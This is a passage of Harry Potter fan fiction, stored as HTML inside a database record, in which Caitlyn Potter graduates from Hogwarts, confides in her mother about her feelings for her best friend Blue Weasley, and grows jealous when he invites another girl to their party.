&#8220;What&#8217;s the tear for?&#8221;</p>\n\n<p>&#8220;I didn&#8217;t even know I was crying.&#8221; Hermione said, brushing the tear away. &#8220;I&#8217;m just so happy for her Harry, I know she&#8217;s worked hard and she deserves this honor.&#8221;</p>\n\n<p>&#8220;Just like her mother.&#8221; Harry said, his words muffled because he was trying to place little kisses along her jaw line and neck. &#8220;Just like the woman I admire most in the world&#8230;. and love most&#8230;and she also tastes really good&#8230;&#8221;</p>\n\n<p>&#8220;Harry!&#8221; Hermione laughed. &#8220;You&#8217;re incorrigible.&#8221; </p>\n\n<p>&#8220;Yeah I know.&#8221; Harry grinned. He stood up and held his hand out to help his wife up as well. &#8220;We should get to bed, we have to get up early.&#8221;</p>\n\n<p>&#8220;Right.&#8221; Hermione agreed, and they made their way down the hall, stopping quietly by Colin&#8217;s room to make sure he was still in bed and not hopping around the room.</p>\n\n<p>Hermione slipped one of Harry&#8217;s nightshirts on over her head and got under the cool sheets, shivering with pleasure as Harry got in next to her and hugged her tightly.</p>\n\n<p>&#8220;Night Harry.&#8221; She said, raising her lips to his.</p>\n\n<p>&#8220;Night Mione.&#8221; He replied, kissing her. &#8220;And goodnight, you two.&#8221; He reached over and placed a kiss to their twins, still housed in Hermione&#8217;s stomach. </p>\n\n<p>(A/N: Well there you have it, the first chapter of the sequel&#8230;. hope it&#8217;s good so far and that you&#8217;re enjoying it. Next chapter, everyone arrives at Hogwarts for the graduation, and Caty and Blue face each other for the first time since their argument! Thanks for reading, and please don&#8217;t forget to review!)</p> '),
	(80, 2, ' <p>Chapter 2</p>\n\n<p>A/N: Thank you to everyone who has reviewed so far, I truly appreciate it as always! You guys rock! And I would address people individually if it weren&#8217;t for the fact that I&#8217;m in Colorado and can&#8217;t get to my ff.net page at the moment ;)</p>\n\n<p>Anyways, happy reading!</p>\n\n<p>And Ryoko, thanks a bunch for helping me ;)</p>\n\n<p>&#8220;So then I went upstairs and went to bed&#8230;but I could not sleep a wink.&#8221; Caitlyn finished telling her friend Lana about the evening before.</p>\n\n<p>&#8220;You made out with him?&#8221; Lana&#8217;s blue eyes were bright.</p>\n\n<p>Caitlyn rolled her eyes towards the ceiling. &#8220;For a little while.&#8221; She said, pushing open the doors to the castle. The girls both squinted at the bright sunlight, getting used to it after a few seconds.</p>\n\n<p>&#8220;Do you know how lucky you are?&#8221; Lana asked, a tad envious. &#8220;I mean, almost every girl in this school would give their wands up just to kiss Blue Weasley for a moment, and you &#8216;made out with him for a little while&#8217;.&#8221; </p>\n\n<p>&#8220;It&#8217;s just not like that with us, though.&#8221; Caitlyn said as they strode across the lawn to where their fellow classmates awaited their parents&#8217; arrival. &#8220;He&#8217;s been my best friend for seven years, he&#8217;s seen me at my worst and I&#8217;ve seen him at his. If we dated and broke up, we could never go back to being friends&#8230;.&#8221; She trailed off as she caught sight of Blue through the crowd. &#8220;I&#8217;ll be right back.&#8221; Caitlyn said, leaving Lana behind in the crowd. She was glad to be rid of her for now; Lana obviously didn&#8217;t understand her situation. It was sometimes hard being friends with girls who regarded her male best friend in a romantic sense.</p>\n\n<p>&#8220;Hey.&#8221; She said, coming up behind him and tapping him on the shoulder. &#8220;I looked for you at breakfast.&#8221;</p>\n\n<p>&#8220;I wasn&#8217;t hungry.&#8221; He replied, looking directly at her. &#8220;I came out here earlier to think.&#8221;</p>\n\n<p>Caitlyn bit her lip. &#8220;Blue, look&#8230;I&#8217;m really sorry&#8230;&#8221; she began.</p>\n\n<p>&#8220;Look its okay.&#8221; He finally smiled at her, although it lacked the usual warmth. &#8220;Friends, right?&#8221;</p>\n\n<p>She nodded after a moment. &#8220;Right.&#8221; </p>\n\n<p>At that moment, a familiar whistle resonated through the air and the scarlet steam engine was seen pulling into the train station in the distance.</p>\n\n<p>&#8220;Well they&#8217;ll be up here in about 5 minutes, no more freedom for us.&#8221; Blue said, watching as people started to depart.</p>\n\n<p>&#8220;What are you talking about?&#8221; Caitlyn asked. &#8220;We can do magic anywhere after today, and we can get jobs and live on our own.&#8221;</p>\n\n<p>&#8220;Yeah, I suppose you&#8217;re right.&#8221; Blue said. He looked down at her as she turned her head to watch everyone start to arrive. He couldn&#8217;t help but watch as the bright sunlight shone on her hair, making it gleam.&nbsp; She already had on her scarlet graduation robe, he wore the gold. </p>\n\n<p>Caitlyn noticed Blue staring at her but decided not to draw attention to it. Another silence stretched between them, however this was not the comfortable one they usually shared. They were saved from making more awkward conversation by the arrival of their parents.</p>\n\n<p>&#8220;Dad! Mum!&#8221; Caitlyn cried, throwing herself into her father&#8217;s arms. </p>\n\n<p>&#8220;Caty Cat, we&#8217;re so proud of you!&#8221; Harry exclaimed, hugging his daughter tightly. </p>\n\n<p>&#8220;Thanks Dad.&#8221; She said, pulling away. Caitlyn turned towards her mother. </p>\n\n<p>&#8220;Hello sweetie.&#8221; Hermione said, pulling her daughter into her embrace. She pulled back and looked at her. &#8220;What&#8217;s the matter you look a bit troubled.&#8221;</p>\n\n<p>&nbsp;&#8220;Oh&#8230;well&#8230;it&#8217;s a long story&#8230;&#8221; Caitlyn said, giving a sideways glance at Blue who was in the process of being smothered in a hug by Lavender. &#8220;Maybe we could go talk about it in a bit?&#8221; she looked hopefully at Hermione.</p>\n\n<p>&#8220;Of course.&#8221; Hermione said, patting her daughter&#8217;s arm. Caitlyn smiled, feeling better at the prospect of her mother helping her sort her thoughts out. &#8220;How have you been feeling?&#8221;</p>\n\n<p>&#8220;Pretty good, for the most part.&#8221; Hermione answered. &#8220;Your father isn&#8217;t much of a help though.&#8221; She cast a glare in Harry&#8217;s direction.</p>\n\n<p>&#8220;Why what did he do now?&#8221; Caitlyn asked, all too familiar with her father&#8217;s way of sticking his foot in his mouth around her pregnant mother.</p>\n\n<p>&#8220;Oh, just his little comments about how big I am.&#8221; Hermione said. &#8220;As if it&#8217;s my fault I&#8217;m having twins!&#8221;</p>\n\n<p>Caitlyn shook her head playfully at her father, who shrugged helplessly. &#8220;Dad, you should know better by now.&#8221; She said, tapping him on the arm.</p>\n\n<p>&#8220;Your mother forgets to mention how many times these past few months I&#8217;ve had to run out in the middle of the night for things like sardines mixed with strawberry ice cream, and then SIT in the room while she eats it?&#8221; Harry grimaced. Caitlyn turned back to her mother.</p>\n\n<p>&#8220;You ate that? Ew!&#8221; she said.</p>\n\n<p>&#8220;Oh, and the time she wanted a grape jelly sandwich on rye bread, with taco sauce.&#8221;</p>\n\n<p>&#8220;Okay, enough!&#8221; Hermione said, her eyes growing dark as she glared at her husband. Harry only grinned at her and wrapped his arms around her burgeoning middle.</p>\n\n<p>&nbsp;&#8220;Caty!!!&#8221; Colin propelled himself into her arms, and she staggered back, laughing.</p>\n\n<p>&#8220;Hey squirt, I missed you.&#8221; She said affectionately, mussing his thick black hair. &#8220;Been staying out of trouble?&#8221;</p>\n\n<p>&#8220;Nope.&#8221; He grinned at her. </p>\n\n<p>&#8220;You&#8217;re terrible.&#8221; Caitlyn said. &#8220;You should be helping Mum right now not terrorizing her.&#8221;</p>\n\n<p>&#8220;I don&#8217;t terrorize!&#8221; Colin stuck his lips out and made a rude sound at her. Caitlyn shook her head at her brother and tried not to laugh at him. She looked back up at her mother who was also trying to stifle her amusement. </p>\n\n<p>&#8220;He acts just like his father when he&#8217;s in trouble.&#8221; Hermione said. Harry let out a mock outraged sound and they all started laughing.</p>\n\n<p>&#8220;Congratulations Caty!&#8221; Lavender said, finally disentangling herself from Blue and giving Caitlyn a hug.</p>\n\n<p>&#8220;Thanks Aunt Lav.&#8221; Caitlyn said. Ron came over and hugged her as well, then looked up at Harry and Hermione.</p>\n\n<p>&#8220;Have you two settled down yet?&#8221; he quipped, grinning. &#8220;It was getting pretty tense there on the train&#8230;.&#8221; Caitlyn and Blue smiled slightly at each other for a moment, their problems forgotten for that split second.</p>\n\n<p>&#8220;Honestly Ron!&#8221; Hermione was saying. &#8220;Sometimes I think you just like to cause trouble for us!&#8221;</p>\n\n<p>&#8220;I do not!&#8221; he returned. &#8220;I just like to cause trouble in general!&#8221;</p>\n\n<p>They all laughed, and then Dumbledore&#8217;s voice was heard above the chatter of the students and their parents.</p>\n\n<p>&#8220;Will all the graduates please come back to the castle&#8230;. parents should take their seats in the Great Hall!&#8221;</p>\n\n<p>&#8220;We&#8217;ll see you two in a bit!&#8221; Lavender waved them away as the four adults and Colin went into the Great Hall.</p>\n\n<p>&nbsp;&#8220;Shall we?&#8221; Caitlyn asked Blue, smiling tentatively.</p>\n\n<p>He shrugged. &#8220;All right.&#8221; They walked inside side by side, but not necessarily together. &#8220;Good luck on your speech.&#8221; Blue said once they got inside. </p>\n\n<p>&nbsp;&#8220;Thanks&#8230;&#8221; Caitlyn&#8217;s voice trailed off as he walked away without the usual customary squeeze of her arm or kiss on the cheek. Perhaps he was taking last night harder than she previously thought. She sighed and went back to where Professor McGonagall was motioning to her.</p>\n\n<p>&#8220;Good morning Professor.&#8221; Caitlyn smiled at her.</p>\n\n<p> &#8220;Morning Miss Potter.&#8221; The teacher gave her one of the rare smiles she was so unfamous for. &#8220;Have you gotten your speech prepared?&#8221;</p>\n\n<p> &#8220;Yes, I have it right here.&#8221; Caitlyn patted her pocket.</p>\n\n<p>&#8220;All right, you need to be at the front of the line when you all walk into the room.&#8221; Caitlyn nodded and went up to the doors. Her hands were shaking from nervousness by the time everyone had queued up behind her. &#8220;Just relax, just breathe&#8230;&#8221; she instructed herself. Lana came up behind her.</p>\n\n<p>&#8220;Good luck out there.&#8221; She said, hugging Caitlyn before taking her place.</p>\n\n<p>&#8220;Thanks.&#8221; Caitlyn uttered before the doors swung open, and all the expectant faces turned to her. &#8220;Merlin&#8217;s Beard&#8230;breathe, just breathe&#8230;.&#8221; She muttered quietly as she led her classmates down the long, long aisle to the front of the room. Every face was a blur; her focus was the area where the staff table usually was. Finally, after what seemed like forever, she reached it and breathed a sigh of relief, as she was able to take a seat.</p>\n\n<p>After each student was seated, Dumbledore got up to issue a few words about how fine this graduating class was, and how fast their time here had gone by. </p>\n\n<p>&#8220;&#8230;. And now I&#8217;d like to introduce you to a young lady who has kept the highest marks in her classes all 7 years here&#8230;Miss Caitlyn Potter!&#8221;</p>\n\n<p>Caitlyn plastered a smile onto her face and brushed her long hair back over her shoulder. She stepped up next to Dumbledore and shook his hand, and then and turned to look at the sea of faces.</p>\n\n<p>&#8220;Good day everyone&#8230;&#8221; her voice started out shaky as she began her speech but it became stronger as she talked on.</p>\n\n<p>Blue watched Caitlyn as she spoke, and despite his resolve he made that morning to try and not think about her, he couldn&#8217;t help but notice how her robe fit her perfectly, hanging closely on her curves, her hair catching the light as she turned her head periodically to look at people in the audience. Blue couldn&#8217;t hide his feelings from himself; he knew he couldn&#8217;t forget about her. He just wanted to know why she didn&#8217;t feel the same way. </p>\n\n<p>She looked so confident now, up there, and he had to admit, the speech they had come up with the night before was great, it dealt with making friends and now not seeing them often enough, how Hogwarts was no longer their haven, and the whole world was at their feet.&nbsp; &#8220;&#8230;and so, as we leave our beloved school, we must always remember that friends will remain in our hearts&#8230;&#8221; her eyes caught Blue&#8217;s and held them during that last line. &#8220;No matter where you go or what you do.&#8221; She finished and the audience applauded loudly. Caitlyn grinned widely as she stepped down and back to her seat. </p>\n\n<p>Dumbledore and Professor McGonagall then began to hand them their certificates that declared them adult wizard and witches. Blue heard his mother sobbing loudly as McGonagall called out &#8216;Ronald Weasley Jr.&#8217; and he accepted his certificate; he looked over and saw his father trying to keep her quiet. </p>\n\n<p>After the ceremony, everyone congregated on the lawn. It wasn&#8217;t a formal party, more of a last hurrah for the departing 7th years and the chance for congratulations from their friends and relatives. </p>\n\n<p>&#8220;All right, I want the two of you together for a photo!&#8221; Lavender was saying, pushing her son towards Caitlyn. They both smiled obediently for the camera. &#8220;Now Blue, put your arm around her shoulder, Caty, you put yours around his waist.&#8221;</p>\n\n<p>They both looked at each other a moment, but did as Lavender asked. Caitlyn felt a strange sense overcome her as Blue gently slipped his arm about her shoulder and lightly squeezed it. She couldn&#8217;t explain the butterflies in her stomach at his touch, nor did she want to dwell on them before she spoke to her mother.</p>\n\n<p>&#8220;Mum&#8230;&#8221; she said, coming up behind her mother, who was holding a glass of pumpkin juice. &#8220;Can we go talk?&#8221;</p>\n\n<p>&#8220;Of course we can.&#8221; Hermione said. &#8220;Excuse me.&#8221; She told the people she had been talking to.</p>\n\n<p>&#8220;Who were they?&#8221; Caitlyn asked as they headed towards the peaceful lake.</p>\n\n<p>&#8220;That was Colin Creevey and his wife Flora.&#8221; Hermione smiled wickedly. &#8220;He was a huge fan of your father&#8217;s while we were at school, and he also annoyed Harry greatly. So I told him we named Colin after him, and now I bet you he won&#8217;t leave your father alone the rest of the day.&#8221;</p>\n\n<p>&#8220;Did you guys really name Colin after him?&#8221; Caitlyn asked. </p>\n\n<p>&#8220;No, it was just a name we liked, it had nothing to do with him.&#8221; Hermione replied. &#8220;But I just wanted a bit of revenge on your father for being a prat earlier.&#8221;</p>\n\n<p>&#8220;Speaking of baby names,&#8221; Caitlyn said, coming to a stop and touching Hermione&#8217;s stomach. &#8220;What are you naming these two?&#8221;</p>\n\n<p>&#8220;Well, we&#8217;ve found out that it&#8217;s a boy and a girl, and the names are Carl William and Corinne Elizabeth.&#8221;</p>\n\n<p>&#8220;How pretty.&#8221; Caitlyn said. &#8220;It&#8217;s going to be weird, being so much older than they are.&#8221;</p>\n\n<p>&#8220;They were certainly unplanned, that&#8217;s for sure.&#8221; Hermione said, picking up her pace again. Caitlyn tucked her mother&#8217;s arm into hers as they strolled a little while longer.</p>\n\n<p>&#8220;So what did you need to talk about?&#8221; Hermione asked, looking sideways at her daughter.</p>\n\n<p>&#8220;Well, it&#8217;s quite a long story&#8230;&#8221; Caitlyn started. &#8220;Last night, after Dumbledore told me about having the highest marks in the class, I realized I couldn&#8217;t go to Hogsmeade because I had to plan my speech, and Blue stayed back as well&#8230;&#8221; she recanted the tale from the night before. &#8220;&#8230;and then after we kissed, I told him that I couldn&#8217;t stand it if we went out, then broke up and were never friends again&#8230;&#8221;</p>\n\n<p>&#8220;So now it&#8217;s very awkward between you guys and you don&#8217;t know what to do?&#8221; Hermione guessed.</p>\n\n<p>&#8220;Well that&#8230;and I don&#8217;t really know, but I&#8217;m not so sure my feelings are platonic either, but now I don&#8217;t&#8217; know what to do about it.&#8221;</p>\n\n<p>&nbsp;&#8220;I&#8217;m sure you know that your father and I were best friends for years right?&#8221; Hermione asked.</p>\n\n<p>&nbsp;&#8220;Yes, he told me that when I was younger.&#8221; Caitlyn said. &#8220;I mean, it&#8217;s hard for me to think like this because Blue&#8217;s been like family since I met him. I call his parents aunt and uncle!&#8221;</p>\n\n<p> &#8220;Well, I suppose the best advice I can offer is to follow your feelings.&#8221; Hermione said. &#8220;Take some time and think if it&#8217;s worth it to pursue a relationship, if that&#8217;s what you really want. It took awhile even after your father and I got together to think of ourselves as a couple rather than just friends.&#8221;</p>\n\n<p>Caitlyn absorbed this information, and then nodded. &#8220;Thanks Mum.&#8221; She hugged Hermione. &#8220;I always feel better after talking to you.&#8221;</p>\n\n<p>&nbsp;&#8220;I&#8217;m glad.&#8221; Hermione smiled as they continued their way back to the castle. &#8220;I&#8217;ll be damned&#8230;&#8221; she said quietly as they walked on further. &#8220;I can&#8217;t believe it&#8217;s still here!&#8221;</p>\n\n<p> &#8220;What?&#8221; Caitlyn looked in the direction her mother was. &#8220;I don&#8217;t see anything.&#8221;</p>\n\n<p>Hermione laughed. &#8220;You won&#8217;t be able to. This is where your father and I would come for a little&#8230;quality time. We enchanted it so no one but us could see it.&#8221; She blushed as she remembered those days.</p>\n\n<p> &#8220;I see.&#8221; Caitlyn said, not wanting to know any more. &#8220;I need to get back, got to see my friends one last time.&#8221; </p>\n\n<p> &#8220;Yes, I need to go find your father.&#8221; Hermione said.</p>\n\n<p>They arrived back on the sloping lawn, Caitlyn went off in search of Lana or Blue and Hermione located Harry trying to shake off a very eager Colin Creevey. &#8220;Harry.&#8221; Hermione came up to his side. &#8220;I see Colin has found you.&#8221;</p>\n\n<p>Harry turned to his wife, a fake smile stretched across his face. &#8220;Yes, he has.&#8221; He looked up at Colin. &#8220;Will you excuse us for just a few moments?&#8221; he herded Hermione away.</p>\n\n<p>&#8220;Thanks, so much for telling him we named our child after him!&#8221; Harry said as they walked away.</p>\n\n<p>&#8220;It&#8217;s a little something called payback.&#8221; Hermione said sweetly. &#8220;You&#8217;re not mad at me are you?&#8221;</p>\n\n<p>&nbsp;&#8220;I should be.&#8221; Harry said gruffly, and then grinned at her.</p>\n\n<p>&#8220;You won&#8217;t be when you see what I&#8217;ve found.&#8221; Hermione said, pulling on his arm towards the lake.</p>\n\n<p>&#8220;What?&#8221; Harry asked curiously. Hermione seemed to have forgotten her earlier anger towards him and was now looking thoroughly excited. </p>\n\n<p>&#8220;You&#8217;ll see!&#8221; Hermione pulled harder as they approached the spot.</p>\n\n<p>&#8220;I&#8217;ll be damned&#8230;&#8221; Harry grinned. &#8220;Our spot is still here.&#8221; He pulled Hermione up against him, then leaned down and pressed his lips lightly to hers. &#8220;What would a visit back to this place be without a good snog?&#8221;</p>\n\n<p>&#8220;It would be horrible.&#8221; Hermione said. &#8220;So shut up and kiss me already.&#8221;</p>\n\n<p>Harry obliged immediately, bringing his lips to hers softly at first, then pressing more firmly as she deepened the kiss by opening her mouth under his and inviting his tongue to explore by flicking hers against his. Harry groaned and wrapped one arm around her waist and the other gently ran it&#8217;s way over her round stomach.</p>\n\n<p>&#8220;Harry&#8230;&#8221; she mumbled around his lips, pressing her mouth harder against his and running her hand through his wild raven locks. The textured strands slipped through her fingers as she brought up her other hand to cup the side of his face. </p>\n\n<p>This went on for several minutes and if it weren&#8217;t for the fact that they were no longer students at Hogwarts sneaking out for a snog but parents attending their daughter&#8217;s graduation ceremony, things would have gone on even longer.</p>\n\n<p>&#8220;Mione&#8230;&#8221; Harry groaned, straightening out his clothes as she tried to leave love marks on his neck. &#8220;I can&#8217;t go back LOOKING like we&#8217;ve been necking&#8230;&#8221;</p>\n\n<p>Hermione pulled away. &#8220;I know. She turned and faced Harry, looking into his deep emerald eyes. &#8220;I love you.&#8221;</p>\n\n<p>A look she could not read passed over his face. &#8220;I love you too, Hermione. You, Colin, Caty, and these two, you&#8217;re my life.&#8221; He pulled her close again and kissed her once more on the lips.</p>\n\n<p>Hermione smiled at him, patting her stomach. &#8220;I can&#8217;t wait till these two are born. I miss being with you.&#8221;</p>\n\n<p>&#8220;Me too.&#8221; Harry agreed. He took her hand in his and they walked back up the hill to the castle.</p>\n\n<p>Meanwhile, Caitlyn had finally located Lana near a group of now former Gryffindors, talking and celebrating their graduation.</p>\n\n<p>&#8220;Hey everyone.&#8221; Caitlyn said, joining them.</p>\n\n<p>Everyone greeted her, congratulating her on the speech she had given. Tears were shed by some of her classmates who were leaving, none of them knew if they&#8217;d see each other again soon. Hugging Lana goodbye with promises to owl each other often, she waved as more students started to leave.</p>\n\n<p>She began walking around, looking for her parents. She tried not to think about what they might be doing back at their &#8216;spot&#8217; instead focusing on finding either Colin, or any of the Weasleys. Caitlyn finally spotted Blue&#8217;s red hair on the other side of the yard, his back to her. She walked over and tapped him on the shoulder.&nbsp; </p>\n\n<p>&#8220;Any idea where our parents are?&#8221; she asked.</p>\n\n<p>&#8220;No.&#8221; Blue answered. &#8220;Can I talk to you in a bit though? I&#8217;m a little busy right now.&#8221; Caitlyn looked beyond him, she had not noticed he was talking to Kristen Close. She wasn&#8217;t sure why, because Kristen was one of the most horrible people that Caitlyn had ever come across. The girl had always been jealous of her friendship with Blue and ever since their third year at Hogwarts Kristen had never been kind to her. </p>\n\n<p>&#8220;Hi Caitlyn!&#8221; Kristen said sweetly, and falsely. She knew better than to be rude to Caitlyn in front of Blue. </p>\n\n<p>&#8220;Hello.&#8221; Caitlyn said politely. &#8220;I&#8217;m sorry for interrupting you.&#8221; Without waiting for either of them to answer, she turned on her heel and walked back across the lawn. She finally saw her parents coming up the lawn, hands clasped together.</p>\n\n<p>&nbsp;&#8220;Can we go?&#8221; she asked, feeling somewhat snappish for a reason she couldn&#8217;t explain to herself. &#8216;Jealousy!&#8217; her mind shrieked, but she pushed that thought aside.</p>\n\n<p>&#8220;Already?&#8221; Harry asked. &#8220;You don&#8217;t want to stay around and talk to your friends one last time?&#8221;</p>\n\n<p>Caitlyn shrugged. &#8220;I&#8217;ll see them again&#8230; besides they&#8217;ve all left anyhow.&#8221;</p>\n\n<p>&#8220;All right.&#8221; Harry said. He turned to Hermione. &#8220;Where&#8217;s Colin?&#8221;</p>\n\n<p>&#8220;With Ron I think.&#8221; Hermione answered, her eyes scanning the grounds. &#8220;There they are.&#8221;</p>\n\n<p>Ron and Lavender had just walked up to Blue and Kristen, with Colin following along beside them. Harry, Hermione and Caitlyn also joined them as they all made their way down to the train depot. Caitlyn was most displeased to see Kristen accompanying them as well, and her mood was suffering most displeasingly in the short walk to the station.</p>\n\n<p>Colin tried to engage her in a game of Exploding Snap, but after the deck had exploded two minutes into the game, she threw her cards down and sat heavily next to the window. Her parents were talking to Ron and Lavender across the aisle, and Blue was still with Kristen in another car across the hallway. She glowered at the two of them for a few moments, but when Blue turned his head and looked straight at her, she snapped her head around and resumed staring out the window.</p>\n\n<p>Blue was very confused. He knew he&#8217;d been rather cold to Caitlyn back at the castle, and he did feel bad about it, but when Kristen had approached him he had welcomed the distraction from his thoughts. He also couldn&#8217;t understand why Caitlyn was acting so angry now; she had made her feelings for him clear the previous evening.</p>\n\n<p>&#8220;So what are your plans this summer?&#8221; Kristen asked flirtatiously. &#8220;Are you going to find a job right away or wait till fall?&#8221;</p>\n\n<p>&#8220;I don&#8217;t know.&#8221; Blue replied. &#8220;My dad told me he might be able to get me a position at the Ministry, but I&#8217;d rather play professional Quidditch if I ever hear from Puddlemere or the Chudley Cannons.&#8221; Blue had been the Keeper on the Gryffindor Quidditch team.</p>\n\n<p>&#8220;Oh how fun!&#8221; Kristen exclaimed. &#8220;If you get accepted, I can say I know a famous Quidditch player!&#8221; she bobbed her head from side to side.</p>\n\n<p>Blue smiled politely. He liked Kristen, but she could be so dumb sometimes. He knew how Caitlyn felt about her as well, but he wouldn&#8217;t let Kristen say anything bad about her in his presence. Kristen flirted openly with him, and even though he knew he could never like her in a romantic sense, she was fun to be around.</p>\n\n<p>&#8220;My parents are throwing Caitlyn and me a graduation party.&#8221; Blue found himself saying. &#8220;Want to come?&#8221;</p>\n\n<p>&#8220;Of course!&#8221; she exclaimed loudly. &#8220;Oh my goodness, I have to go tell everyone that I have a date with you!&#8221; she got up and rushed out of the compartment.</p>\n\n<p>&#8220;WAIT!&#8221; Blue yelled. &#8220;Shit!&#8221; he said angrily. He hadn&#8217;t meant her to think that his invitation was a date. It was useless to go try to find her now, he realized. He sighed heavily and went into the compartment where Caitlyn sat with their families. Plunking himself down next to her, he sighed again, annoyed at the confusion that still reigned inside of him.</p>\n\n<p>&#8220;What&#8217;s wrong?&#8221; she asked, trying to act disinterested.</p>\n\n<p>He shrugged. &#8220;Nothing, really.&#8221; He said.</p>\n\n<p>&#8220;Okay.&#8221; She simply replied, still smarting over his earlier coldness. </p>\n\n<p>&#8220;Blue, Caitlyn,&#8221; Lavender said. &#8220;You two haven&#8217;t forgotten about the party that we&#8217;re all throwing for you right?&#8221;</p>\n\n<p>&#8220;No, in fact I just invited someone else.&#8221; Blue replied. &#8220;My friend Kristen Close.&#8221;</p>\n\n<p>Caitlyn bit her lip so hard at this that she could taste blood. She squeezed her eyes shut; at that moment she hated Kristen so much. Opening her eyes after a few moments, she saw her father looking at her with concern.</p>\n\n<p>&#8220;Are you all right Caty?&#8221; Harry asked, noticing her change in demeanor.</p>\n\n<p>She forced a smile onto her face. &#8220;I&#8217;m fine. I just miss Hogwarts already.&#8221; She wasn&#8217;t really lying, she did miss Hogwarts but it was the situation at hand that had her more confused and upset. Hermione was also looking at her now.</p>\n\n<p>&nbsp;&#8220;Is this about earlier?&#8221; Hermione asked, carefully choosing her words so that no one but she and Caitlyn would know what she was talking about.</p>\n\n<p>Caitlyn looked away for a moment, then turned back to her mother and nodded softly. </p>\n\n<p>&#8220;Later?&#8221; Hermione asked.</p>\n\n<p>&#8220;Yeah, okay.&#8221; Caitlyn responded, happy that she had a mother who would understand her troubles. &#8220;Thanks.&#8221;</p>\n\n<p>&nbsp;&#8220;What are you two talking about?&#8221; Harry asked in confusion, watching the exchange.</p>\n\n<p>&#8220;Girl stuff.&#8221; Hermione said, smiling at her husband and kissing him on the cheek.</p>\n\n<p>&#8220;I see.&#8221; Harry smiled back at her and then at Caitlyn. &#8220;Guess that&#8217;s all I need to know.&#8221;</p>\n\n<p>Some time later, the train pulled back into King&#8217;s Cross, everyone tumbling from the train, and more tears were shed as the last goodbyes rang through the depot.</p>\n\n<p>Harry unlocked the door to their Muggle car, heaving their belongings into the trunk, and then they and the Weasley&#8217;s piled in.</p>\n\n<p>&#8220;Good thing you can expand this car with magic.&#8221; Ron remarked.</p>\n\n<p>&#8220;Just like the old Ford Anglia, eh Ron?&#8221; Harry said and all the adults roared with laughter.</p>\n\n<p>&nbsp;&#8220;What are you talking about Dad?&#8221; Colin asked.</p>\n\n<p>Harry, through his laughter, explained about how he and Ron had flown their car to school back in their second year. By the time he was done, the whole car was hysterical, even Caitlyn.</p>\n\n<p>&#8220;Did Dad honestly do that?&#8221; she asked her mother. Hermione nodded through her tears of laughter.</p>\n\n<p>&#8220;Yes, he did. Biggest spectacle he ever made too!&#8221; she answered. Lavender vigorously nodded as well.</p>\n\n<p>&#8220;Ron, remember, you were so pleased with yourself too, biggest thing you ever did back then.&#8221; Ron scowled at his wife then grinned and pulled her into a suffocating bear hug. &#8220;Ron!&#8221; she shrieked as they waved and Blue went back with them to his house, next door to theirs.</p>\n\n<p>Caitlyn followed her father as he grabbed her trunk and brought it upstairs for her. </p>\n\n<p>&#8220;Glad to be home?&#8221; he asked, setting the trunk down and hugging her. </p>\n\n<p>&#8220;Yeah, I am.&#8221; She replied. &#8220;Our house is so fun, with the mix of Muggle stuff we brought back.&#8221;</p>\n\n<p>&#8220;It is fun. Colin doesn&#8217;t seem to know what to do with himself half the time.&#8221; Harry laughed. &#8220;He tries to enchant the toaster with his play wand.&#8221;</p>\n\n<p>Caitlyn smiled faintly as Hermione entered the room. &#8220;Hey Mum.&#8221; She said, lifting open the lid of the trunk and pulling out her neatly folded robes.</p>\n\n<p>&#8220;I came to see if you needed any help unpacking.&#8221; Hermione said, one hand resting on her stomach.</p>\n\n<p>&#8220;Sure.&#8221; Caitlyn said, knowing her mother really wanted to talk more. </p>\n\n<p>&#8220;I guess that&#8217;s my cue to leave.&#8221; Harry quipped, winking at Caitlyn and squeezing Hermione&#8217;s hand as he left the room. </p>\n\n<p>&#8220;So what was that about on the train?&#8221; Hermione asked as soon as she had closed the door. </p>\n\n<p>Caitlyn bit the inside of her cheek. &#8220;Well, Blue knows I hate Kristen Close, she&#8217;s always so nasty to me because he and I have been friends since before we started Hogwarts.&#8221;</p>\n\n<p>&#8220;I see.&#8221; Hermione said, picking up a few of Caitlyn&#8217;s old schoolbooks from the trunk and setting them in a neat stack on the dresser.</p>\n\n<p>&nbsp;&#8220;And he&#8217;s one of the only people who is really nice to her and now she&#8217;s taking advantage of that.&#8221; Caitlyn said angrily.</p>\n\n<p>Hermione stopped stacking books and took a deep breath. &#8220;Are you sure that it&#8217;s her you&#8217;re angry at?&#8221;</p>\n\n<p> &#8220;What do you mean?&#8221; Caitlyn asked.</p>\n\n<p>&nbsp;&#8220;Well,&#8221; Hermione said, sitting heavily on the edge of the bed and patting the spot next to her. &#8220;You did tell him that you didn&#8217;t want a relationship, right?&#8221;</p>\n\n<p>&nbsp;&#8220;Well, yeah, but I&#8217;m not sure if I did the right thing.&#8221; Caitlyn said as she sank down next to her mother. &#8220;I&#8217;m still so confused.&#8221;</p>\n\n<p>Hermione reached up and stroked her daughter&#8217;s long hair. The motion was soothing to Caitlyn, and she felt some of her anger and confusion ebb away.</p>\n\n<p>&#8220;What do I do?&#8221; Caitlyn asked after a few moments.</p>\n\n<p>&#8220;First, you still need to sort out your feelings.&#8221; Hermione said. &#8220;Then you go talk to Blue and you figure out where the two of you stand, be it in a relationship or just friends.&#8221;</p>\n\n<p>Caitlyn sighed. &#8220;Yeah, you&#8217;re right.&#8221; She smiled at her mother. &#8220;Thanks again, Mum.&#8221; They hugged and Hermione got up from the bed.</p>\n\n<p> &#8220;Ohhh&#8230;.&#8221; She groaned. &#8220;I swear my stomach just gets heavier each day&#8230;&#8221; she smiled back at her daughter and then left her alone to her thoughts.</p>\n\n<p>Bringing her hand up to touch her lips, she thought back to the previous evening in the common room. &#8220;Why did I kiss him in the first place? Why did I kiss him back if I don&#8217;t feel anything like that for him?&#8221; she asked herself aloud. &#8220;Maybe I do&#8230;I just don&#8217;t know&#8230;&#8221; Caitlyn could remember the taste of his lips on hers. Why had she pushed him away, she had been enjoying that kiss as much as he had.</p>\n\n<p>Caitlyn flopped back down on her bed with a sigh. Blue was her best friend, her very best friend in the entire world. A memory from her first year of school sprang to mind.</p>\n\n<p><i>Caitlyn looked back as her father disappeared from sight. The Hogwarts Express roared ahead towards her new school, and her new home for the next nine months as well.</i></p>\n\n<p><i></i></p>\n\n<p><i>&#8220;Let&#8217;s go find a compartment to sit in!&#8221; Blue was enthusiastic about what lay ahead for them. &#8220;You can come meet my cousins, they&#8217;re two years ahead of us.&#8221;</i></p>\n\n<p><i></i></p>\n\n<p><i>&#8220;Okay.&#8221; Caitlyn agreed shyly, trying to keep her voice steady. </i></p>\n\n<p><i></i></p>\n\n<p><i>&#8220;Are you okay?&#8221; Blue peered at her. &#8220;You don&#8217;t look like you&#8217;re feeling too good.&#8221;</i></p>\n\n<p><i>&#8220;I&#8217;ll be all 